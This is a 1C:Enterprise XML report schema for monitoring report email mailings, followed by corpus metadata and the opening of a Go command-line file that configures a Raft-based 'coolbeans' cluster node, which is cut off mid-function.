<?xml version="1.0" encoding="UTF-8"?> <DataCompositionSchema xmlns="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcscom="http://v8.1c.ru/8.1/data-composition-system/common" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dataSource> <name>ИсточникДанных1</name> <dataSourceType>Local</dataSourceType> </dataSource> <dataSet xsi:type="DataSetObject"> <name>НаборДанных1</name> <field xsi:type="DataSetFieldField"> <dataPath>РассылкаОтчетов</dataPath> <field>РассылкаОтчетов</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Рассылка отчетов</v8:content> </v8:item> </title> <role> <dcscom:dimension>true</dcscom:dimension> </role> </field> <field xsi:type="DataSetFieldField"> <dataPath>Получатель</dataPath> <field>Получатель</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Получатель</v8:content> </v8:item> </title> <role> <dcscom:dimension>true</dcscom:dimension> </role> <valueType> <v8:TypeId>10ffa7c3-3d5d-4edd-9ebe-1acc0592d242</v8:TypeId> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>Комментарий</dataPath> <field>Комментарий</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Комментарий</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ЗапускРассылки</dataPath> <field>ЗапускРассылки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Запуск рассылки</v8:content> </v8:item> </title> <role> <dcscom:dimension>true</dcscom:dimension> </role> <valueType> <v8:Type>xs:dateTime</v8:Type> <v8:DateQualifiers> <v8:DateFractions>Date</v8:DateFractions> </v8:DateQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>СпособПолучения</dataPath> <field>СпособПолучения</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Способ получения</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Отправлено</dataPath> <field>Отправлено</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Отправлено</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:dateTime</v8:Type> <v8:DateQualifiers> <v8:DateFractions>Date</v8:DateFractions> </v8:DateQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>Успешно</dataPath> <field>Успешно</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Успешно</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:boolean</v8:Type> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>ЭлектронноеПисьмоИсходящее</dataPath> <field>ЭлектронноеПисьмоИсходящее</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Электронное письмо исходящее</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ДатаДоставки</dataPath> <field>ДатаДоставки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Дата доставки</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:dateTime</v8:Type> <v8:DateQualifiers> <v8:DateFractions>DateTime</v8:DateFractions> </v8:DateQualifiers> </valueType> </field> <field xsi:type="DataSetFieldField"> <dataPath>АдресЭП</dataPath> <field>АдресЭП</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Адрес электронной почты</v8:content> </v8:item> </title> <role> <dcscom:dimension>true</dcscom:dimension> </role> </field> <dataSource>ИсточникДанных1</dataSource> <objectName>ДанныеИсторииРассылкиОтчетов</objectName> </dataSet> <parameter> <name>Период</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Период</v8:content> </v8:item> </title> <valueType> <v8:Type>v8:StandardPeriod</v8:Type> </valueType> <value xsi:type="v8:StandardPeriod"> <v8:variant xsi:type="v8:StandardPeriodVariant">ThisYear</v8:variant> </value> <useRestriction>false</useRestriction> <use>Always</use> </parameter> <parameter> <name>РассылкаОтчетов</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Рассылка отчетов</v8:content> </v8:item> </title> <valueType> <v8:Type xmlns:d4p1="http://v8.1c.ru/8.1/data/enterprise/current-config">d4p1:CatalogRef.РассылкиОтчетов</v8:Type> </valueType> <value xsi:nil="true"/> <useRestriction>false</useRestriction> <availableAsField>false</availableAsField> <denyIncompleteValues>true</denyIncompleteValues> <use>Always</use> </parameter> <parameter> <name>Получатели</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Получатели</v8:content> </v8:item> </title> <valueType> <v8:TypeId>10ffa7c3-3d5d-4edd-9ebe-1acc0592d242</v8:TypeId> </valueType> <useRestriction>false</useRestriction> <valueListAllowed>true</valueListAllowed> </parameter> <parameter> <name>СтрокаИтогиРассылки</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Строка итоги рассылки</v8:content> </v8:item> </title> <valueType> <v8:Type>xs:string</v8:Type> <v8:StringQualifiers> <v8:Length>0</v8:Length> <v8:AllowedLength>Variable</v8:AllowedLength> </v8:StringQualifiers> </valueType> <value xsi:type="xs:string"/> <useRestriction>true</useRestriction> </parameter> <template> <name>Макет1</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="dcscor:Parameter">ИтогиРассылки</dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>Шрифт</dcscor:parameter> <dcscor:value xsi:type="v8ui:Font" faceName="Arial" height="12" bold="false" italic="false" underline="false" strikeout="false" kind="Absolute" scale="100"/> </dcscor:item> <dcscor:item> <dcscor:parameter>Размещение</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTextPlacementType">Wrap</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>РежимИзмененияРазмераКолонки</dcscor:parameter> <dcscor:value xsi:type="v8ui:SizeChangeMode">QuickChange</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>ИтогиРассылки</dcsat:name> <dcsat:expression>ПараметрыДанных.СтрокаИтогиРассылки</dcsat:expression> </parameter> </template> <template> <name>Макет2</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell/> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>Отправлено</dcsat:name> <dcsat:expression>Отправлено</dcsat:expression> </parameter> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>НеОтправлено</dcsat:name> </parameter> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>Всего</dcsat:name> </parameter> </template> <template> <name>Макет1</name> <template xsi:nil="true"/> </template> <groupTemplate> <groupName>ИтогиРассылки</groupName> <templateType>Header</templateType> <template>Макет1</template> </groupTemplate> <settingsVariant> <dcsset:name>КонтрольРассылкиОтчетов</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Контроль рассылки отчетов</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Успешно</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ЭлектронноеПисьмоИсходящее</dcsset:field> <dcsset:lwsTitle> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Отправлено</v8:content> </v8:item> </dcsset:lwsTitle> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>СпособПолучения</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаДоставки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">Успешно</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">false</dcsset:right> <dcsset:userSettingID>3f5c9833-4131-41dd-9919-9e01854f9adb</dcsset:userSettingID> </dcsset:item> </dcsset:filter> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Период</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:userSettingID>aabeabca-7691-412a-a258-accf89ea8b28</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Получатели</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:userSettingID>7c421495-5941-413c-8f9b-a0f6ee6e5de6</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>СтрокаИтогиРассылки</dcscor:parameter> <dcscor:value xsi:type="xs:string">8</dcscor:value> <dcsset:viewMode>Inaccessible</dcsset:viewMode> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>РассылкаОтчетов</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Inaccessible</dcsset:viewMode> <dcsset:userSettingID>5cb70e40-186f-459a-82a4-b4b90886f3b1</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ЭлектронноеПисьмоИсходящее</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Отправлено</dcsset:left> <dcsset:comparisonType>Filled</dcsset:comparisonType> <dcsset:right xsi:type="v8:StandardBeginningDate"> <v8:variant xsi:type="v8:StandardBeginningDateVariant">Custom</v8:variant> <v8:date>0001-01-01T00:00:00</v8:date> </dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="dcscor:Field">Отправлено</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ЭлектронноеПисьмоИсходящее</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">ЭлектронноеПисьмоИсходящее</dcsset:left> <dcsset:comparisonType>Filled</dcsset:comparisonType> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">style:ГиперссылкаЦвет</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Шрифт</dcscor:parameter> <dcscor:value xsi:type="v8ui:Font" faceName="MS Shell Dlg" height="8" bold="false" italic="false" underline="true" strikeout="false" kind="Absolute" scale="100"/> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Успешно</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Успешно</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">true</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"/> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РазмерКартинки</dcscor:parameter> <dcscor:value xmlns:mxl="http://v8.1c.ru/8.2/data/spreadsheet" xsi:type="mxl:PictureSize">RealSize</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Top</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ГоризонтальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:AppearanceCheckBox"/> </dcscor:item> </dcsset:appearance> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Успешно</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Успешно</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">false</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"/> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РазмерКартинки</dcscor:parameter> <dcscor:value xmlns:mxl="http://v8.1c.ru/8.2/data/spreadsheet" xsi:type="mxl:PictureSize">RealSize</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Top</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ГоризонтальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:AppearanceCross"/> </dcscor:item> </dcsset:appearance> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>МакетОформления</dcscor:parameter> <dcscor:value xsi:type="xs:string">Основной</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Контроль рассылки отчетов</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:name>ИтогиРассылки</dcsset:name> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПараметрыДанных.СтрокаИтогиРассылки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>МакетОформления</dcscor:parameter> <dcscor:value xsi:type="xs:string">БезОформления</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">DontOutput</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Получатель</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресЭП</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:settings> </settingsVariant> </DataCompositionSchema>
24,900
Template
xml
ru
xml
data
{"qsc_code_num_words": 2724, "qsc_code_num_chars": 24900.0, "qsc_code_mean_word_length": 6.22870778, "qsc_code_frac_words_unique": 0.09544787, "qsc_code_frac_chars_top_2grams": 0.05610892, "qsc_code_frac_chars_top_3grams": 0.03111923, "qsc_code_frac_chars_top_4grams": 0.04508752, "qsc_code_frac_chars_dupe_5grams": 0.82071079, "qsc_code_frac_chars_dupe_6grams": 0.79383509, "qsc_code_frac_chars_dupe_7grams": 0.77291212, "qsc_code_frac_chars_dupe_8grams": 0.75057464, "qsc_code_frac_chars_dupe_9grams": 0.71980904, "qsc_code_frac_chars_dupe_10grams": 0.69835563, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02258356, "qsc_code_frac_chars_whitespace": 0.1553012, "qsc_code_size_file_byte": 24900.0, "qsc_code_num_lines": 675.0, "qsc_code_num_chars_line_max": 461.0, "qsc_code_num_chars_line_mean": 36.88888889, "qsc_code_frac_chars_alphabet": 0.78405363, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.79851852, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00888889, "qsc_code_frac_chars_string_length": 0.14951807, "qsc_code_frac_chars_long_word_length": 0.05718876, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1xyz/coolbeans
cluster/cmd/cmd_cluster.go
package cmd import ( "fmt" v1 "github.com/1xyz/coolbeans/api/v1" "github.com/1xyz/coolbeans/cluster/client" "github.com/1xyz/coolbeans/cluster/server" "github.com/1xyz/coolbeans/store" "github.com/armon/go-metrics" "github.com/armon/go-metrics/prometheus" "github.com/davecgh/go-spew/spew" "github.com/docopt/docopt-go" "github.com/hashicorp/raft" "github.com/prometheus/client_golang/prometheus/promhttp" log "github.com/sirupsen/logrus" "google.golang.org/grpc" "google.golang.org/grpc/codes" healthgrpc "google.golang.org/grpc/health/grpc_health_v1" "google.golang.org/grpc/status" "net" "net/http" "os" "os/signal" "strings" "syscall" "time" ) type ClusterNodeConfig struct { NodeId string NodeListenAddr string RootDir string NodePeerAddrs string BootstrapNodeId string PeerTimeoutSecs int MaxClusterJoinAttempts int ClusterJoinRetryIntervalSecs int RaftListenAddr string RaftAdvertizedAddr string RaftTimeoutSecs int MaxPoolSize int NoDiskLog bool NoFsync bool RestoreTimeoutSecs int RetainSnapshotCount int SnapshotThreshold int TrailingLogCount int SnapshotIntervalSecs int PrometheusAddr string } func CmdClusterNode(argv []string, version string) { usage := `usage: cluster-node --node-id=<id> --root-dir=<dir> --bootstrap-node-id=<id> [options] options: -h, --help --node-id=<id> A unique identifier for this node. --root-dir=<dir> Root Directory where the snapshot is stored. --node-listen-addr=<addr> Listen/Bind Address for the node cluster service [default: 127.0.0.1:11000]. --bootstrap-node-id=<id> Identifier of the node that should perform bootstrapping. --node-peer-addrs=<addrs> Comma separated node addresses of all cluster node service addresses [default: ]. --peer-timeout-secs=<secs> Peer grpc timeout in seconds [default: 10]. Cluster join options: --max-cluster-join-attempts=<n> The maximum number of join attempts. Defaults to 0, which will retry indefinitely [default: 0] --cluster-join-retry-interval-secs=<secs> Time in seconds to wait between retrying to join the cluster [default: 1]. Raft options: --raft-listen-addr=<addr> Listen/Bind Address for Raft service [default: 127.0.0.1:21000]. --raft-advertized-addr=<addr> Advertized address for Raft service [default: 127.0.0.1:21000]. --raft-timeout-secs=<secs> Raft peer network connection timeout in seconds [default: 30]. --max-pool-size=<n> Maximum number of raft connections pooled [default: 3]. --no-disk-log If set, raft log is not persisted to disk [default: false]. --no-fsync If set, raft log is not flushed to disk for every log commit. This option is only used when raft logs are persisted to disk [default: false]. --restore-timeout-secs=<secs> Timeout in seconds for a snapshot restore operation [default: 60]. --retain-snapshot-count=<n> The maximum number of file snapshots to retain on disk [default: 3]. --snapshot-threshold=<n> Controls how many outstanding logs there must be before a Raft snapshot is taken [default: 8192]. --trailing-log-count=<n> Controls how many logs are left after a snapshot. This is used so that we can quickly replay logs on a follower instead of being forced to send an entire snapshot [default: 10240]. --snapshot-interval-secs=<secs> Controls how often the raft library checks to perform a snapshot. The library randomly staggers between this value and 2x this value to avoid all the nodes in the entire cluster from performing a snapshot at once [default: 120]. Metrics options: --prometheus-addr=<addr> Start a prometheus server to expose metrics at this address. By default no server is started. Example value is ":2122" [default: ] ` opts, err := docopt.ParseArgs(usage, argv[1:], version) if err != nil { log.Fatalf("cmdClusterNode: error parsing arguments. err=%v", err) } var cfg ClusterNodeConfig if err := opts.Bind(&cfg); err != nil { log.Fatalf("cmdClusterNode: error in opts.bind. err=%v", err) } spew.Dump(cfg) if err := RunCoolbeans(&cfg); err != nil { log.Fatalf("cmdClusterNode: runCoolbeans: err = %v", err) } log.Infof("gracefully terminated") } // waitForShutdown waits for a terminate or interrupt signal // terminates the server once a signal is received. func waitForShutdown(s *store.Store, c *ClusterNodeConfig, gs *grpc.Server) { done := make(chan os.Signal, 1) signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM) <-done log.Infof("Shutdown signal received") shutdown(s, c, gs) } func shutdown(s *store.Store, c *ClusterNodeConfig, gs 